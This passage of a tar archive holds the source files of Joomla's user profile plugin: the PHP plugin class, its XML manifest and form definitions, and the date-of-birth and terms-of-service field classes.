				label="PLG_USER_TERMS_FIELD_LABEL"
				description="PLG_USER_TERMS_FIELD_DESC"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">PLG_USER_TERMS_OPTION_AGREE</option>
				<option value="0">PLG_USER_TERMS_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
                   user/profile/profile.php                                                                            0000705                 00000032073 15242051521 0011333 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * An example custom profile plugin.
 *
 * @since  1.6
 */
class PlgUserProfile extends JPlugin
{
	/**
	 * Date of birth.
	 *
	 * @var    string
	 * @since  3.1
	 */
	private $date = '';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An array that holds the plugin configuration
	 *
	 * @since   1.5
	 */
	public function __construct(& $subject, $config)
	{
		parent::__construct($subject, $config);
		FormHelper::addFieldPath(__DIR__ . '/field');
	}

	/**
	 * Runs on content preparation
	 *
	 * @param   string  $context  The context for the data
	 * @param   object  $data     An object containing the data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentPrepareData($context, $data)
	{
		// Check we are manipulating a valid form.
		if (!in_array($context, array('com_users.profile', 'com_users.user', 'com_users.registration', 'com_admin.profile')))
		{
			return true;
		}

		if (is_object($data))
		{
			$userId = isset($data->id) ? $data->id : 0;

			if (!isset($data->profile) && $userId > 0)
			{
				// Load the profile data from the database.
				$db = Factory::getDbo();
				$db->setQuery(
					'SELECT profile_key, profile_value FROM #__user_profiles'
						. ' WHERE user_id = ' . (int) $userId . " AND profile_key LIKE 'profile.%'"
						. ' ORDER BY ordering'
				);

				try
				{
					$results = $db->loadRowList();
				}
				catch (RuntimeException $e)
				{
					$this->_subject->setError($e->getMessage());

					return false;
				}

				// Merge the profile data.
				$data->profile = array();

				foreach ($results as $v)
				{
					$k = str_replace('profile.', '', $v[0]);
					$data->profile[$k] = json_decode($v[1], true);

					if ($data->profile[$k] === null)
					{
						$data->profile[$k] = $v[1];
					}
				}
			}

			if (!HTMLHelper::isRegistered('users.url'))
			{
				HTMLHelper::register('users.url', array(__CLASS__, 'url'));
			}

			if (!HTMLHelper::isRegistered('users.calendar'))
			{
				HTMLHelper::register('users.calendar', array(__CLASS__, 'calendar'));
			}

			if (!HTMLHelper::isRegistered('users.tos'))
			{
				HTMLHelper::register('users.tos', array(__CLASS__, 'tos'));
			}

			if (!HTMLHelper::isRegistered('users.dob'))
			{
				HTMLHelper::register('users.dob', array(__CLASS__, 'dob'));
			}
		}

		return true;
	}

	/**
	 * Returns an anchor tag generated from a given value
	 *
	 * @param   string  $value  URL to use
	 *
	 * @return  mixed|string
	 */
	public static function url($value)
	{
		if (empty($value))
		{
			return HTMLHelper::_('users.value', $value);
		}
		else
		{
			// Convert website URL to utf8 for display
			$value = PunycodeHelper::urlToUTF8(htmlspecialchars($value));

			if (strpos($value, 'http') === 0)
			{
				return '<a href="' . $value . '">' . $value . '</a>';
			}
			else
			{
				return '<a href="http://' . $value . '">' . $value . '</a>';
			}
		}
	}

	/**
	 * Returns html markup showing a date picker
	 *
	 * @param   string  $value  valid date string
	 *
	 * @return  mixed
	 */
	public static function calendar($value)
	{
		if (empty($value))
		{
			return HTMLHelper::_('users.value', $value);
		}
		else
		{
			return HTMLHelper::_('date', $value, null, null);
		}
	}

	/**
	 * Returns the date of birth formatted and calculated using server timezone.
	 *
	 * @param   string  $value  valid date string
	 *
	 * @return  mixed
	 */
	public static function dob($value)
	{
		if (!$value)
		{
			return '';
		}

		return HTMLHelper::_('date', $value, Text::_('DATE_FORMAT_LC1'), false);
	}

	/**
	 * Return the translated strings yes or no depending on the value
	 *
	 * @param   boolean  $value  input value
	 *
	 * @return  string
	 */
	public static function tos($value)
	{
		if ($value)
		{
			return Text::_('JYES');
		}
		else
		{
			return Text::_('JNO');
		}
	}

	/**
	 * Adds additional fields to the user editing form
	 *
	 * @param   Form   $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		// Check we are manipulating a valid form.
		$name = $form->getName();

		if (!in_array($name, array('com_admin.profile', 'com_users.user', 'com_users.profile', 'com_users.registration')))
		{
			return true;
		}

		// Add the registration fields to the form.
		Form::addFormPath(__DIR__ . '/profiles');
		$form->loadFile('profile');

		$fields = array(
			'address1',
			'address2',
			'city',
			'region',
			'country',
			'postal_code',
			'phone',
			'website',
			'favoritebook',
			'aboutme',
			'dob',
			'tos',
		);

		// Change fields description when displayed in frontend or backend profile editing
		$app = Factory::getApplication();

		if ($app->isClient('site') || $name === 'com_users.user' || $name === 'com_admin.profile')
		{
			$form->setFieldAttribute('address1', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('address2', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('city', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('region', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('country', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('postal_code', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('phone', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('website', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('favoritebook', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('aboutme', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('dob', 'description', 'PLG_USER_PROFILE_FILL_FIELD_DESC_SITE', 'profile');
			$form->setFieldAttribute('tos', 'description', 'PLG_USER_PROFILE_FIELD_TOS_DESC_SITE', 'profile');
		}

		$tosArticle = $this->params->get('register_tos_article');
		$tosEnabled = $this->params->get('register-require_tos', 0);

		// We need to be in the registration form and field needs to be enabled
		if ($name !== 'com_users.registration' || !$tosEnabled)
		{
			// We only want the TOS in the registration form
			$form->removeField('tos', 'profile');
		}
		else
		{
			// Push the TOS article ID into the TOS field.
			$form->setFieldAttribute('tos', 'article', $tosArticle, 'profile');
		}

		foreach ($fields as $field)
		{
			// Case using the users manager in admin
			if ($name === 'com_users.user')
			{
				// Toggle whether the field is required.
				if ($this->params->get('profile-require_' . $field, 1) > 0)
				{
					$form->setFieldAttribute($field, 'required', ($this->params->get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');
				}
				// Remove the field if it is disabled in registration and profile
				elseif ($this->params->get('register-require_' . $field, 1) == 0
					&& $this->params->get('profile-require_' . $field, 1) == 0)
				{
					$form->removeField($field, 'profile');
				}
			}
			// Case registration
			elseif ($name === 'com_users.registration')
			{
				// Toggle whether the field is required.
				if ($this->params->get('register-require_' . $field, 1) > 0)
				{
					$form->setFieldAttribute($field, 'required', ($this->params->get('register-require_' . $field) == 2) ? 'required' : '', 'profile');
				}
				else
				{
					$form->removeField($field, 'profile');
				}
			}
			// Case profile in site or admin
			elseif ($name === 'com_users.profile' || $name === 'com_admin.profile')
			{
				// Toggle whether the field is required.
				if ($this->params->get('profile-require_' . $field, 1) > 0)
				{
					$form->setFieldAttribute($field, 'required', ($this->params->get('profile-require_' . $field) == 2) ? 'required' : '', 'profile');
				}
				else
				{
					$form->removeField($field, 'profile');
				}
			}
		}

		// Drop the profile form entirely if there aren't any fields to display.
		$remainingfields = $form->getGroup('profile');

		if (!count($remainingfields))
		{
			$form->removeGroup('profile');
		}

		return true;
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.1
	 * @throws  InvalidArgumentException on invalid date.
	 */
	public function onUserBeforeSave($user, $isnew, $data)
	{
		// Check that the date is valid.
		if (!empty($data['profile']['dob']))
		{
			try
			{
				$date = new Date($data['profile']['dob']);
				$this->date = $date->format('Y-m-d H:i:s');
			}
			catch (Exception $e)
			{
				// Throw an exception if date is not valid.
				throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB'));
			}

			if (Date::getInstance('now') < $date)
			{
				// Throw an exception if dob is greater than now.
				throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_ERROR_INVALID_DOB_FUTURE_DATE'));
			}
		}

		// Check that the tos is checked if required ie only in registration from frontend.
		$task       = Factory::getApplication()->input->getCmd('task');
		$option     = Factory::getApplication()->input->getCmd('option');
		$tosArticle = $this->params->get('register_tos_article');
		$tosEnabled = ($this->params->get('register-require_tos', 0) == 2);

		// Check that the tos is checked.
		if ($task === 'register' && $tosEnabled && $tosArticle && $option === 'com_users' && !$data['profile']['tos'])
		{
			throw new InvalidArgumentException(Text::_('PLG_USER_PROFILE_FIELD_TOS_DESC_SITE'));
		}

		return true;
	}

	/**
	 * Saves user profile data
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  boolean
	 */
	public function onUserAfterSave($data, $isNew, $result, $error)
	{
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		if ($userId && $result && isset($data['profile']) && count($data['profile']))
		{
			try
			{
				$db = Factory::getDbo();

				// Sanitize the date
				if (!empty($data['profile']['dob']))
				{
					$data['profile']['dob'] = $this->date;
				}

				$keys = array_keys($data['profile']);

				foreach ($keys as &$key)
				{
					$key = 'profile.' . $key;
					$key = $db->quote($key);
				}

				$query = $db->getQuery(true)
					->delete($db->quoteName('#__user_profiles'))
					->where($db->quoteName('user_id') . ' = ' . (int) $userId)
					->where($db->quoteName('profile_key') . ' IN (' . implode(',', $keys) . ')');
				$db->setQuery($query);
				$db->execute();

				$query = $db->getQuery(true)
					->select($db->quoteName('ordering'))
					->from($db->quoteName('#__user_profiles'))
					->where($db->quoteName('user_id') . ' = ' . (int) $userId);
				$db->setQuery($query);
				$usedOrdering = $db->loadColumn();

				$tuples = array();
				$order = 1;

				foreach ($data['profile'] as $k => $v)
				{
					while (in_array($order, $usedOrdering))
					{
						$order++;
					}

					$tuples[] = '(' . $userId . ', ' . $db->quote('profile.' . $k) . ', ' . $db->quote(json_encode($v)) . ', ' . ($order++) . ')';
				}

				$db->setQuery('INSERT INTO #__user_profiles VALUES ' . implode(', ', $tuples));
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->_subject->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}

	/**
	 * Remove all user profile information for the given user ID
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  boolean
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		if (!$success)
		{
			return false;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		if ($userId)
		{
			try
			{
				$db = Factory::getDbo();
				$db->setQuery(
					'DELETE FROM #__user_profiles WHERE user_id = ' . $userId
						. " AND profile_key LIKE 'profile.%'"
				);

				$db->execute();
			}
			catch (Exception $e)
			{
				$this->_subject->setError($e->getMessage());

				return false;
			}
		}

		return true;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     user/profile/profile.xml                                                                            0000705                 00000023570 15242051521 0011346 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="user" method="upgrade">
	<name>plg_user_profile</name>
	<author>Joomla! Project</author>
	<creationDate>January 2008</creationDate>
	<copyright>(C) 2008 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_USER_PROFILE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="profile">profile.php</filename>
		<folder>profiles</folder>
		<folder>field</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_user_profile.ini</language>
		<language tag="en-GB">en-GB.plg_user_profile.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldpath="/administrator/components/com_content/models/fields">
				<field
					name="register-require-user"
					type="spacer"
					label="PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER"
					class="text"
				/>

				<field
					name="register-require_address1"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS1_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_address2"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS2_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_city"
					type="list"
					label="PLG_USER_PROFILE_FIELD_CITY_LABEL"
					description="PLG_USER_PROFILE_FIELD_CITY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_region"
					type="list"
					label="PLG_USER_PROFILE_FIELD_REGION_LABEL"
					description="PLG_USER_PROFILE_FIELD_REGION_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_country"
					type="list"
					label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL"
					description="PLG_USER_PROFILE_FIELD_COUNTRY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_postal_code"
					type="list"
					label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL"
					description="PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_phone"
					type="list"
					label="PLG_USER_PROFILE_FIELD_PHONE_LABEL"
					description="PLG_USER_PROFILE_FIELD_PHONE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_website"
					type="list"
					label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL"
					description="PLG_USER_PROFILE_FIELD_WEB_SITE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_favoritebook"
					type="list"
					label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL"
					description="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_aboutme"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL"
					description="PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="register-require_tos"
					type="list"
					label="PLG_USER_PROFILE_FIELD_TOS_LABEL"
					description="PLG_USER_PROFILE_FIELD_TOS_DESC"
					default="0"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="register_tos_article"
					type="modal_article"
					label="PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL"
					description="PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
				/>

				<field
					name="register-require_dob"
					type="list"
					label="PLG_USER_PROFILE_FIELD_DOB_LABEL"
					description="PLG_USER_PROFILE_FIELD_DOB_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="spacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="profile-require-user"
					type="spacer"
					label="PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER"
					class="text"
				/>

				<field
					name="profile-require_address1"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS1_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_address2"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL"
					description="PLG_USER_PROFILE_FIELD_ADDRESS2_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_city"
					type="list"
					label="PLG_USER_PROFILE_FIELD_CITY_LABEL"
					description="PLG_USER_PROFILE_FIELD_CITY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_region"
					type="list"
					label="PLG_USER_PROFILE_FIELD_REGION_LABEL"
					description="PLG_USER_PROFILE_FIELD_REGION_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_country"
					type="list"
					label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL"
					description="PLG_USER_PROFILE_FIELD_COUNTRY_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_postal_code"
					type="list"
					label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL"
					description="PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_phone"
					type="list"
					label="PLG_USER_PROFILE_FIELD_PHONE_LABEL"
					description="PLG_USER_PROFILE_FIELD_PHONE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_website"
					type="list"
					label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL"
					description="PLG_USER_PROFILE_FIELD_WEB_SITE_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_favoritebook"
					type="list"
					label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL"
					description="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC"
					default="1"
					filter="integer"
					>
					<option value="2">JOPTION_REQUIRED</option>
					<option value="1">JOPTION_OPTIONAL</option>
					<option value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_aboutme"
					type="list"
					label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL"
					description="PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>

				<field
					name="profile-require_dob"
					type="list"
					label="PLG_USER_PROFILE_FIELD_DOB_LABEL"
					description="PLG_USER_PROFILE_FIELD_DOB_DESC"
					default="1"
					filter="integer"
					>
					<option	value="2">JOPTION_REQUIRED</option>
					<option	value="1">JOPTION_OPTIONAL</option>
					<option	value="0">JDISABLED</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                        user/profile/field/dob.php                                                                          0000705                 00000002720 15242051521 0011516 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('calendar');

/**
 * Provides input for "Date of Birth" field
 *
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 * @since       3.3.7
 */
class JFormFieldDob extends JFormFieldCalendar
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.3.7
	 */
	protected $type = 'Dob';

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.3.7
	 */
	protected function getLabel()
	{
		$label = parent::getLabel();

		// Get the info text from the XML element, defaulting to empty.
		$text  = $this->element['info'] ? (string) $this->element['info'] : '';
		$text  = $this->translateLabel ? JText::_($text) : $text;

		if ($text)
		{
			$app    = JFactory::getApplication();
			$layout = new JLayoutFile('plugins.user.profile.fields.dob');
			$view   = $app->input->getString('view', '');

			// Only display the tip when editing profile
			if ($view === 'registration' || $view === 'profile' || $app->isClient('administrator'))
			{
				$layout = new JLayoutFile('plugins.user.profile.fields.dob');
				$info   = $layout->render(array('text' => $text));
				$label  = $info . $label;
			}
		}

		return $label;
	}
}
                                                user/profile/field/tos.php                                                                          0000705                 00000007025 15242051521 0011562 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  User.profile
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('radio');

/**
 * Provides input for TOS
 *
 * @since  2.5.5
 */
class JFormFieldTos extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  2.5.5
	 */
	protected $type = 'Tos';

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   2.5.5
	 */
	protected function getLabel()
	{
		$label = '';

		if ($this->hidden)
		{
			return $label;
		}

		// Get the label text from the XML element, defaulting to the element name.
		$text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
		$text = $this->translateLabel ? JText::_($text) : $text;

		// Set required to true as this field is not displayed at all if not required.
		$this->required = true;

		// Build the class for the label.
		$class = !empty($this->description) ? 'hasPopover' : '';
		$class = $class . ' required';
		$class = !empty($this->labelClass) ? $class . ' ' . $this->labelClass : $class;

		// Add the opening label tag and main attributes attributes.
		$label .= '<label id="' . $this->id . '-lbl" for="' . $this->id . '" class="' . $class . '"';

		// If a description is specified, use it to build a tooltip.
		if (!empty($this->description))
		{
			$label .= ' title="' . htmlspecialchars(trim($text, ':'), ENT_COMPAT, 'UTF-8') . '"';
			$label .= ' data-content="' . htmlspecialchars(
				$this->translateDescription ? JText::_($this->description) : $this->description,
				ENT_COMPAT,
				'UTF-8'
			) . '"';

			if (JFactory::getLanguage()->isRtl())
			{
				$label .= ' data-placement="left"';
			}
		}

		$tosArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($tosArticle)
		{
			JHtml::_('behavior.modal');
			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			$attribs          = array();
			$attribs['class'] = 'modal';
			$attribs['rel']   = '{handler: \'iframe\', size: {x:800, y:500}}';

			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('id, alias, catid, language')
				->from('#__content')
				->where('id = ' . $tosArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			if (JLanguageAssociations::isEnabled())
			{
				$tosAssociated = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $tosArticle);
			}

			$currentLang = JFactory::getLanguage()->getTag();

			if (isset($tosAssociated) && $currentLang !== $article->language && array_key_exists($currentLang, $tosAssociated))
			{
				$url = ContentHelperRoute::getArticleRoute(
					$tosAssociated[$currentLang]->id,
					$tosAssociated[$currentLang]->catid,
					$tosAssociated[$currentLang]->language
				);

				$link = JHtml::_('link', JRoute::_($url . '&tmpl=component'), $text, $attribs);
			}
			else
			{
				$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
				$url  = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
				$link = JHtml::_('link', JRoute::_($url . '&tmpl=component'), $text, $attribs);
			}
		}
		else
		{
			$link = $text;
		}

		// Add the label text and closing tag.
		$label .= '>' . $link . '<span class="star">&#160;*</span></label>';

		return $label;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           user/profile/index.html                                                                             0000705                 00000000037 15242051521 0011152 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 user/profile/profiles/profile.xml                                                                   0000705                 00000005417 15242051521 0013171 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="profile">
		<fieldset
			name="profile"
			label="PLG_USER_PROFILE_SLIDER_LABEL"
		>
			<field
				name="address1"
				type="text"
				label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL"
				description="PLG_USER_PROFILE_FIELD_ADDRESS1_DESC"
				id="address1"
				filter="string"
				size="30"
			/>

			<field
				name="address2"
				type="text"
				label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL"
				description="PLG_USER_PROFILE_FIELD_ADDRESS2_DESC"
				id="address2"
				filter="string"
				size="30"
			/>

			<field
				name="city"
				type="text"
				label="PLG_USER_PROFILE_FIELD_CITY_LABEL"
				description="PLG_USER_PROFILE_FIELD_CITY_DESC"
				id="city"
				filter="string"
				size="30"
			/>

			<field
				name="region"
				type="text"
				label="PLG_USER_PROFILE_FIELD_REGION_LABEL"
				description="PLG_USER_PROFILE_FIELD_REGION_DESC"
				id="region"
				filter="string"
				size="30"
			/>

			<field
				name="country"
				type="text"
				label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL"
				description="PLG_USER_PROFILE_FIELD_COUNTRY_DESC"
				id="country"
				filter="string"
				size="30"
			/>

			<field
				name="postal_code"
				type="text"
				label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL"
				description="PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC"
				id="postal_code"
				filter="string"
				size="30"
			/>

			<field
				name="phone"
				type="tel"
				label="PLG_USER_PROFILE_FIELD_PHONE_LABEL"
				description="PLG_USER_PROFILE_FIELD_PHONE_DESC"
				id="phone"
				filter="string"
				size="30"
			/>

			<field
				name="website"
				type="url"
				label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL"
				description="PLG_USER_PROFILE_FIELD_WEB_SITE_DESC"
				id="website"
				filter="url"
				size="30"
				validate="url"
			/>

			<field
				name="favoritebook"
				type="text"
				label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL"
				description="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC"
				filter="string"
				size="30"
			/>

			<field
				name="aboutme"
				type="textarea"
				label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL"
				description="PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC"
				cols="30"
				rows="5"
				filter="safehtml"
			/>

			<field
				name="dob"
				type="dob"
				label="PLG_USER_PROFILE_FIELD_DOB_LABEL"
				description="PLG_USER_PROFILE_FIELD_DOB_DESC"
				info="PLG_USER_PROFILE_SPACER_DOB"
				translateformat="true"
				showtime="false"
				filter="server_utc"
			/>

			<field
				name="tos"
				type="tos"
